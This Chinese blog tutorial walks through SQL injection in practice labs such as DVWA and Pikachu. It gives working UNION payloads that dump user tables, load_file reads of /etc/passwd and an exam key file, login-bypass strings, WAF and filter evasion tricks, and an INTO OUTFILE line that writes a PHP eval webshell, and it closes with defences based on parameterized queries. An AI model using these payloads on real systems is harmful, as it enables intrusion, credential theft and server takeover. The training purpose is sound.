无知的坚强SQL注入是每一位做Web安全的人绕不过去的坎。前不久OWASP Top 10更新后，SQL注入被挤出了前三，但如果你去问任何一个红队成员或者应急响应工程师，他们大概率还是会告诉你：这依然是最常见的Web高危漏洞之一。我见过太多人搜“sql注入攻击与防御 pdf”来学习，但其实这类资料看得再多，都不如在靶场里亲手跑通一次注入链路来得有效。
这篇文章，我打算从一个实际渗透测试的视角，把SQL注入从原理、靶场搭建、手工注入流程、绕过思路到防御修复完整串一遍。里面会涉及DVWA、Pikachu、Burp靶场这类经常被搜索的练习环境，也会聊CISP-PTE考试里那类读取 /tmp/360/key 的经典考点，以及GitHub搜索语法、CMS老版本漏洞利用等大家搜索频率很高的方向。无论你是刚入门的安全新人，还是已经在做等保、护网、渗透测试的从业者，这篇内容应该都能给你一些“网上教程不会细讲”的东西。
1. SQL注入的本质是什么——一个请求如何变成数据库“执行令”
1.1 为什么说这是Web安全的“老熟人”
很多初学者会把SQL注入理解成“在输入框里输入几个特殊字符，然后就能拖库”，这个理解没错，但太表面了。SQL注入真正可怕的地方在于：它利用了程序在“代码”和“数据”之间的边界模糊。
数据库本身是不认识“这是合法输入”和“这是攻击语句”的。它只负责执行SQL语句。当程序员把用户输入的内容直接拼接进SQL语句时，数据库就会把输入的一部分当成SQL命令来执行。这就是为什么这么多年过去了，技术栈从PHP换到Java再换到Go，SQL注入依然是漏洞排行榜上的常客——因为“手工拼接SQL”这件事，在中小型项目里太普遍了。
我在实际项目中见过不少案例：某些建站CMS的旧版本，一个搜索框、一个文章ID参数，甚至一个排序字段，都可能成为注入点。CMS用户量大、插件多、二次开发频繁，如果核心程序修了但插件没跟上，漏洞依然存在。这也是“sql注入&cms”这个组合词搜索热度一直居高不下的原因。
1.2 一次普通查询如何沦为注入点：从代码层面拆解
假设后端有一段非常典型的PHP代码，作用是“根据用户传入的ID展示文章详情”：
php复制$id = $_GET['id'];
$sql = "SELECT * FROM articles WHERE id = " . $id;
$result = mysqli_query($conn, $sql);
这段代码看起来没什么问题。用户访问 article.php?id=1，就拿文章ID为1的内容。但如果你把 id 的值从单纯的数字改成这段内容呢：
sql复制1 UNION SELECT username, password FROM users
拼接出来的完整SQL语句就变成了：
sql复制SELECT * FROM articles WHERE id = 1 UNION SELECT username, password FROM users
你没看错，数据库会老老实实地执行这条语句——先查文章ID为1的文章，再把users表里的用户名和密码合在一起返回给页面。这就叫数据变成了指令。
用一个生活化的类比：这就好比你在银行填取款单，柜员把你的“备注”栏目原封不动地念给内部系统听。你填“备注：转账给张三”，系统就转给张三；你填“备注：转账给张三，顺便把余额改成999999”，系统可能就照做了。问题不在银行系统，而在柜员不该把你的备注当成系统指令来执行。
1.3 为什么有些注入“打不进去”：三种过滤策略
很多人会困惑：我照着教程输入 ' 或者 1 OR 1=1，为什么有些网站没反应？因为看到的那是过滤过的，或者说，目标代码本身处理方式不同。常见的处理方式基本分三类：
**第一类：简单替换。**开发人员把单引号、双引号、OR、AND 这些关键字直接替换成空字符串。听起来很安全，但替换逻辑通常只做一次。输入 OORR，替换掉中间的 OR 之后剩下什么？正好是 OR。这就是所谓“过滤不彻底”的典型。
**第二类：黑名单关键词过滤。**拦截 select、union、from、information_schema 等。但黑名单的问题是，攻击者可以用大小写混写（UnIoN）、内联注释（/*!UNION*/）、等价函数（mid代替substr）等方式绕过。所以只有黑名单、没有白名单和参数化，效果非常有限。
**第三类：参数化查询（PreparedStatement）。**这是目前公认最有效的防御方式。SQL语句的结构和参数分开传给数据库，数据库先“定好型”，再往里填值。这时候你输入 ' OR '1'='1，它也会当成一个字符串值，而不是SQL逻辑。
一句话总结：能防住注入的不是过滤多严格，而是代码结构上是否允许数据和指令分离。 后面第六部分我会展开细说防御。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 靶场选择与本地环境搭建——不是为了“打靶”而打靶
2.1 Pikachu、DVWA、Burp靶场各自适合什么阶段
热搜词里这几个靶场几乎同时出现，说明大家都在纠结“我该从哪个开始练”。我的建议很简单：全部装，但按顺序用。
| 靶场 | 语言 | 难度分级 | 适合场景 | 我的评价 |
|---|---|---|---|---|
| DVWA | PHP | Low/Medium/High/Impossible | 入门练习、理解原理 | 分级设计很科学，可以直观看到同一漏洞在不同防护强度下的差异 |
| Pikachu | PHP | 按漏洞类型分模块 | 国内考试备考、漏洞类型全覆盖 | 中文界面友好，覆盖注入、XSS、CSRF、RCE、文件包含等，贴近CISP-PTE考点 |
| PortSwigger Web Security Academy（Burp靶场） | 在线 | 按场景分实验室 | 进阶、贴近真实业务逻辑 | 免费、场景真实，配合Burp Suite使用体验最好 |
DVWA最适合第一遍过原理，因为它的Low级别几乎不过滤任何输入，你可以在里面清清楚楚看到“输入什么、SQL变成什么样、结果为什么是这样”。很多人的SQL注入“顿悟时刻”都是在DVWA的Low级别完成的。
Pikachu更像是“漏洞百科全书”，适合系统性地刷漏洞类型。它和CISP-PTE的关联度很高，考试前拿它练手是常规操作。
Burp靶场的题目设计更贴近真实业务，比如“在搜索框里注入”“在Cookie里注入”“通过注入绕过登录限制”，做起来更有“在做渗透测试”的感觉，而不是“在背题”。
2.2 搭建靶场时最容易被卡住的几个环节
搭建靶场看起来简单，实际上我见过太多人卡在环境配置上，连漏洞的影子都没见到就先放弃了。最常见的几个坑：
**PHP版本不兼容。**DVWA和Pikachu都是老项目，很多教程默认用PHP 5.x。但新版phpstudy默认装的是PHP 7.x甚至8.x，老项目经常因为 mysql 扩展被移除而报错。我的建议是：Windows上装phpstudy，手动切换PHP版本到5.6或7.0；或者直接用Docker。
Docker方式是最省心的：
bash复制docker run -d -p 8080:80 vulnerables/web-dvwa
docker run -d -p 8081:80 777arc/pikachu
两条命令搞定，不用折腾环境。但要注意，如果你的机器上80端口被占用，记得把端口映射改成8080、8081这样的高位端口。
**数据库连接失败。**DVWA首次访问会引导你初始化数据库，默认账号 root、密码 password。如果连不上，大概率是MySQL的密码不是这个，或者phpstudy里MySQL服务根本没启动。Pikachu也一样，它需要导入 pikachu.sql 文件，很多新手忘了这一步，结果页面能打开但功能全报错。
**浏览器缓存。**改完代码或配置后，页面还是老样子，先强制刷新（Ctrl+F5）再试。
2.3 用GitHub搜索语法快速定位靶场与公开代码
“github 搜索sql注入 网站 语法”这个热搜词说明很多人不只是想搭靶场，还想在GitHub上搜一些SQL注入相关的项目、代码或案例。这里分享几个我常用的搜索语法，效率会高很多：
code复制# 搜索名称里带sqli或sqlmap相关内容的仓库
sqli labs in:name
sql-injection in:name
# 搜索特定语言的注入漏洞演示代码
language:PHP sqli
language:Java sql injection demo
# 搜索某类CMS的公开漏洞
cms sqli exploit
我建议搜索时加上 in:name 或 in:readme，否则会把所有提到“sql”的仓库都搜出来，噪音非常大。另外，GitHub上搜到的漏洞利用代码质量参差不齐，优先看star数高、更新维护活跃的项目，少用那种几千年前的“古董exp”去打现实系统——不仅大概率失效，还可能被反向钓鱼。
3. 从“试探”到“拖库”：一次完整的联合查询注入复盘
接下来是本文的重点部分。我以DVWA的低级别SQL注入模块为例，带着你完整走一遍手工注入的流程。你不用额外准备什么环境，DVWA里直接操作就行。以后再做其他靶场或真实授权测试，思路完全一样。
3.1 探测阶段：这到底是不是注入点
在目标页面看到一个输入框，先别急着上各种工具。手工探测通常是一句话的事情。
先在输入框里输入一个正常值，比如 1，页面返回ID为1的用户信息。然后输入 1' ——多了一个单引号。如果页面报错，出现类似 You have an error in your SQL syntax 的数据库错误信息，恭喜你，大概率存在字符型注入。
再输入：
sql复制1' AND '1'='1
页面正常显示；接着输入：
sql复制1' AND '1'='2
页面为空或者报错。为什么？因为原SQL拼接出来是：
sql复制SELECT first_name, last_name FROM users WHERE user_id = '1' AND '1'='2';
'1'='2' 永远为假，条件不成立，自然查不到数据。两个查询结果一真一假，就是判断注入存在与否的“黄金标准”。 这个方法比单引号报错更可靠，因为有些应用会把报错信息吞掉，但页面内容的差异无法完全隐藏。
数字型注入也是一样的思路，只不过不用加单引号。直接 ?id=1 and 1=1 和 ?id=1 and 1=2 比较页面差异。
3.2 数列数：order by 测试的逻辑
确认存在注入后，先别急着 union select。你首先得知道原查询返回几列，因为union select要求前后两个查询的列数一致，否则数据库会报错。
在输入框里依次输入：
sql复制1' ORDER BY 1-- -
1' ORDER BY 2-- -
1' ORDER BY 3-- -
ORDER BY 3 的意思是“按第3列排序”。如果表里没有第3列，数据库会报错；如果没报错，说明列数至少是3。继续试到报错的那一位，就知道原查询列数了。
比如你试到 ORDER BY 3 正常、ORDER BY 4 报错，说明查询返回了3列。这里有个小细节：注释符 -- 后面必须跟一个空格（URL里可以写成 --+ 或 --%20），有些SQL方言也支持 #。否则注释不生效，后面的单引号会把SQL搞乱。不少新手卡在这一步，多半就是注释符格式不对。
3.3 找输出位置并联合查询：information_schema的妙用
知道列数是3之后，输入：
sql复制1' UNION SELECT 1,2,3-- -
页面上可能出现两段数据：一段是原始用户ID=1的数据，另一段是 1,2,3。如果 2 和 3 显示在页面上了，说明这两个位置是“输出点”，后续查询就放在这两个位置。
接下来就是经典的查库流程。先查当前数据库版本和库名：
sql复制1' UNION SELECT 1,database(),version()-- -
看到返回的数据库版本和名字后，查所有表名：
sql复制1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -
information_schema 是MySQL自带的“信息数据库”，里面记录了所有数据库、表、字段的元数据。group_concat 的作用是把多条记录拼在一行里显示，否则页面只显示第一条结果。这一步新手经常忘记，结果只看到半个表名，还以为是注入失败。
拿到表名之后，比如看到 users 表，接下来查字段名：
sql复制1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'-- -
再之后，直接查数据：
sql复制1' UNION SELECT 1,group_concat(user),group_concat(password) FROM users-- -
到这里，整张用户表的账号和密码哈希就摆在眼前了。整个过程看起来行云流水，但每一步背后都有明确的逻辑：探测注入点→确认回显→数列数→找显示位→查库→查表→查字段→查数据。你不需要每条payload都背下来，只要理解这个过程，随手就能写出来。
3.4 从读数据到读文件：注入能“做什么”由权限决定
联合查询只能查“数据库里有的东西”，但数据库本身还能读文件、写文件。这延伸出了CISP-PTE里那些经典题目。
在MySQL中，读文件靠 load_file() 函数。如果数据库账号有 FILE 权限，且操作系统层面允许，就可以通过注入读取服务器上的敏感文件：
sql复制1' UNION SELECT 1,load_file('/etc/passwd'),3-- -
前提有几个：数据库账号有文件读写权限，secure_file_priv 参数没有限制文件路径，你知道目标文件的绝对路径。实际操作中，很多人卡在 secure_file_priv 上——MySQL 5.7之后的版本默认限制只能读写指定目录，NULL 表示完全禁止。遇到这种限制，读文件这条路基本就走不通了。
写文件相对更“重”。INTO OUTFILE 可以把查询结果写到服务器上，如果目标Web目录可写，就能写入一句话木马实现“注入 getshell”。但写文件要求更高：必须知道Web根目录绝对路径，目录必须可写，还要考虑是否会被WAF拦截。从SQL注入到写文件再到获取服务器权限，这是完整利用链的最后一个环节，也是授权渗透测试中最常见的提权路径。
4. “万能密码”与绕过思路——老漏洞里为什么总有新把戏
4.1 万能密码为什么还能通杀一批登录框
热搜词里出现的“sql注入万能密码绕过”可以说是经典中的经典。它的核心payload很简单：
sql复制' OR '1'='1' -- -
假设登录的SQL语句是：
sql复制SELECT * FROM users WHERE username='$user' AND password='$pass'
当用户名输入 ' OR '1'='1' -- -，密码随便填什么，拼接出来的SQL变成：
sql复制SELECT * FROM users WHERE username='' OR '1'='1' -- ' AND password='xxx'
-- 把后面的密码判断注释掉了，而 '1'='1' 永远为真，于是整个查询变成了“查第一个用户”。如果程序拿“是否有返回结果”来判断登录是否成功，那你就直接以第一个用户的身份登录进去了。第一个用户在数据库里通常就是管理员账号。
为什么这种老掉牙的绕过方式到今天还能用？我在授权测试里仍然见过不止一次，共性特征很一致：老旧的CMS、外包建站系统、临时搭的运营后台，这些项目大多还是字符串拼接SQL，并且登录判断逻辑简化成了“查得出来就登录成功”。 所以说万能密码“过时”，不如说是一些历史包袱和外包代码质量把漏洞留到了现在。
4.2 常见绕过手法与适用场景
绕过手法五花八门，但核心思路只有一个：让目标代码的过滤器不认识你的payload，但让数据库认识。
这里整理一些高频率场景，每个对应不同的过滤规则：
**过滤了注释符。**有些程序会把 -- 和 # 干掉。思路就换成直接闭合，比如 ' OR '1'='1' AND ('1'='1 这种让语法自行闭合的写法，不去依赖注释符。
**过滤了空格。**可以用URL编码绕过，%09（Tab）、%0a（换行）、%0b、%0c 在某些时候都能替代空格。数据库的解析器相对宽容，多个空白字符对SQL语义没有影响。
**过滤了关键字。**大小写混写是最低级的绕过：UnIoN SeLeCt。如果是完全不分大小写地过滤，就试试内联注释：/*!50000UNION*/ SELECT。内联注释是MySQL特有的，/*!...*/ 里面的内容如果版本条件满足，会当做正常SQL执行，但过滤器的正则可能没考虑到这一点。
**过滤了函数。**比如 load_file 被封了，可以查 sys 库或者 mysql.general_log 表来尝试找别的信息源。再比如过滤了 substr，可以用 mid、right、left 代替；过滤了 ascii，可以用 ord。攻击者本质上是在跟黑名单玩“同义词替换游戏”。
**编码类绕过。**宽字节注入是国内老项目中比较典型的一种，主要针对的是 addslashes 这类转义函数。在GBK编码下，输入 %df%27，转义函数会以为 %df%27 中的 %27 是一个被转义的单引号，但实际上 %df%5c（转义处理后的结果）会被解析成一个汉字，单引号反而逃逸出来了。这种问题只发生在数据库连接没有设置为UTF-8的老系统上。
4.3 一个容易被忽视的观点：绕过不是核心能力
我见过不少新人，整天背绕过payload，遇到一个新的WAF就抓瞎。我的看法是：绕过手法的本质是“了解每个字符在SQL解析过程中的角色”，而不是背一套魔术技巧。 你花半小时搞懂 union select 为什么必须列数一致、为什么注释符要跟空格、为什么 information_schema 里放着元数据，比背五十个payload有用得多。
还有一点想提醒：绕过只对“存在注入但加过滤”的场景有效。如果你通过参数化查询把代码结构改掉，那么再花哨的payload也打不进去。安全测试里的时间应该花在“找到入口”和“证明危害”上，而不是钻进死胡同里跟一个过滤器死磕。
5. CISP-PTE考点与文件读取场景——一道典型的注入综合题拆解
5.1 CISP-PTE考什么，为什么会考注入
CISP-PTE（注册渗透测试工程师）是当前国内安全从业者考得比较多的一张证书，考试形式很实在：给你一个靶标系统（通常是一个内网Web应用），要求你完成指定的利用链。比如热搜词里提到的“读取 /tmp/360/key 文件”——这道题之所以出镜率高，是因为它把几项核心能力串在了一起：注入探测、文件读取、路径判断，甚至后续的提权利用。
考试考注入不是让你写一篇论文解释什么是SQL注入，而是给你一个真实可交互的Web应用，让你真的“打进去”，把关键文件内容拿出来才给分。所以备考的重点是动手，而不是背题。Pikachu靶场之所以在热搜词里跟CISP-PTE绑定，就是因为它的题目风格和考点分布高度接近考试场景。
5.2 读取 /tmp/360/key 的典型思路
结合这道经典题，我拆一下常见的解题链路。首先，你得先找到一个SQL注入点。这个注入点可能出现在参数上，也可能出现在Cookie或POST数据里。常规的 ' 报错法、and 1=1 / and 1=2 对比法都能用。
拿到注入点之后，分阶段验证：
第一步：确认当前用户权限。 在MySQL里可以直接查：
sql复制1' UNION SELECT 1,current_user(),3-- -
如果是 root@localhost，那读文件的权限基本不用愁。
第二步：确认数据库文件读限制。 查 secure_file_priv 的值：
sql复制1' UNION SELECT 1,@@global.secure_file_priv,3-- -
如果返回 NULL，读文件这条路基本堵死；如果是空字符串，表示没有限制；如果是一个目录路径，就只能读取该目录下的文件。考试环境通常不会把 secure_file_priv 设置成 NULL，否则题就没法做了。但在真实授权测试里，这个值经常限制得非常严。
第三步：拼接读文件语句。 确认权限没问题后：
sql复制1' UNION SELECT 1,load_file('/tmp/360/key'),3-- -
然后页面就会显示文件内容。如果直接显示乱码，可能是文件内容里有不可见字符或二进制，可以尝试用 hex() 包一层再解码：
sql复制1' UNION SELECT 1,hex(load_file('/tmp/360/key')),3-- -
拿到十六进制后解码就可以了。这一步经常被忽略，考场上一乱就慌，其实加个 hex() 就完事。
当然，这道题也可以反过来利用写文件：如果注入点支持堆叠查询（stacked injection），可以先写一个文件：
sql复制1'; SELECT '<?php @eval($_POST["x"]);?>' INTO OUTFILE '/var/www/html/shell.php';-- -
然后再访问这个脚本。不过写文件受目录权限、路径可写性影响更大，实战中优先级低于直接读文件。
5.3 从这道题看渗透测试中的“利用链”思维
这道题的启发不在于“会读文件”，而在于它训练了一个非常重要的习惯：单点漏洞必须转化为实际危害，否则报告里的漏洞等级只能算中低危。 一个SQL注入点如果不加利用，它只是“存在风险”；一旦你证明能读取 /tmp/360/key 这类敏感文件，就能证明攻击者可以拿到服务器上的机密数据，危害等级立即拉满。
这种“利用链”思维在真实项目里更明显。注入点配合内网横向、配合提权、配合其他漏洞，最后的破坏力完全不是单点能比的。我现在做授权渗透测试，拿到一个注入点后会习惯性地顺着往下想三步：能不能读文件、能不能写shell、能不能连数据库提权。想完这三步，才算真正“闭环”。
6. 防御视角：为什么“过滤”救不了Web应用，参数化才行
6.1 参数化查询如何从根上解决注入
绕了这么一大圈，回到防御。这可能是全文最“不酷”但最实用的一节。你要记住一句话：过滤是治标，参数化是治本。
参数化查询（Prepared Statement）的原理很简单：提前把SQL语句的骨架发给数据库，数据库编译好“结构”，再把参数发过去填进来。因为没有重新拼SQL，输入内容被严格限制在“值”的角色里，再怎么注入都只是改变参数值，结构不会变。
不同语言里参数化的写法略有不同，但逻辑一致。Java的JDBC写法：
java复制String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement ps = connection.prepareStatement(sql);
ps.setString(1, username);
ps.setString(2, password);
PHP PDO的写法：
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
Python的写法：
python复制cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
注意，参数化查询不是万能的。它只对“值”有效。如果你把用户输入拼接到表名、列名、ORDER BY排序字段这类“结构”里，参数化就无能为力了。这种场景需要通过白名单来限制输入，只允许特定的表名或字段名，而不是直接拿用户输入去拼。
6.2 WAF与过滤为何只能托底
关于WAF，我不否认它的价值，很多系统全靠WAF挡住了海量扫描和自动化攻击。但WAF的定位是“托底”和“防御纵深”，不是“修复漏洞”。
原因在于：WAF本质上是一个模式匹配器。而SQL注入的payload可以高度变形——编码、注释、等价函数、动态拼接，导致WAF的规则左支右绌。为了让WAF“不漏”，规则必须从严；从严又导致误报率上升，正常业务请求被拦。安全团队和业务团队之间经常因为这个扯皮，我在项目里见得太多。
还有个更实际的问题：攻击者可以对payload做自动化变异，绕过率不低。WAF规则更新永远追不上新思路的产生速度。所以在我的安全测试报告中，凡是发现SQL注入，修复建议第一永远是“改成参数化查询”，WAF只是临时缓解措施。
6.3 我自己常用的注入排查与修复检查单
最后分享一套我在实际项目里用的排查方法，适合开发者自查，也适合安全测试人员在报告中给出落地建议：
- 代码审计搜索拼接点。 全局搜索
$_GET、$_POST、$_REQUEST和直接拼接SQL字符串的位置。搜索关键字："select " . $、"SELECT * FROM "、. $id、".$_GET这类模式，基本能把高危点找全。 - 数据库账号权限收敛。 应用连接数据库的账号不要用root/管理员。一个账号只给它业务必须的增删改查权限，
FILE、SUPER、GRANT这类敏感权限一律不授予。这个动作本身就能让注入利用难度大幅上升。 - 报错信息关闭。 生产环境设置
display_errors = Off，避免数据库报错直接反射到前端。虽然报错信息不是漏洞本身，但它是攻击者的“指路牌”。 - 部署WAF/IDS做监控。 如果业务短期无法改造，WAF可以挡掉大部分自动化攻击；同时把SQL注入攻击日志单独收集起来，遇到可疑请求及时告警。
- 上线前扫描。 不用等到渗透测试阶段才发现问题，CI/CD流水线里加一个DAST/SAST扫描，大部分简单注入在构建阶段就能被拦下来。
我之前帮一个客户排查遗留系统，代码里整整找出一百多处拼接点，横跨三个技术栈、十几个独立模块。改造参数化后，WAF规则不用那么严了，误报率直线下降，安全部门才终于不用天天给业务部门解释“为什么正常请求被拦”。这件事让我切身体会到：源头治理永远优于外围防护。
接触SQL注入这么多年，我最大的感受是：它不是一个“学一次就会”的知识点，而是会随着技术栈、框架、业务形态不断变化的东西。但核心始终是那条边界——数据和代码是否被混为一谈。把这个边界想清楚，无论是攻击视角还是防御视角，你都不会迷路。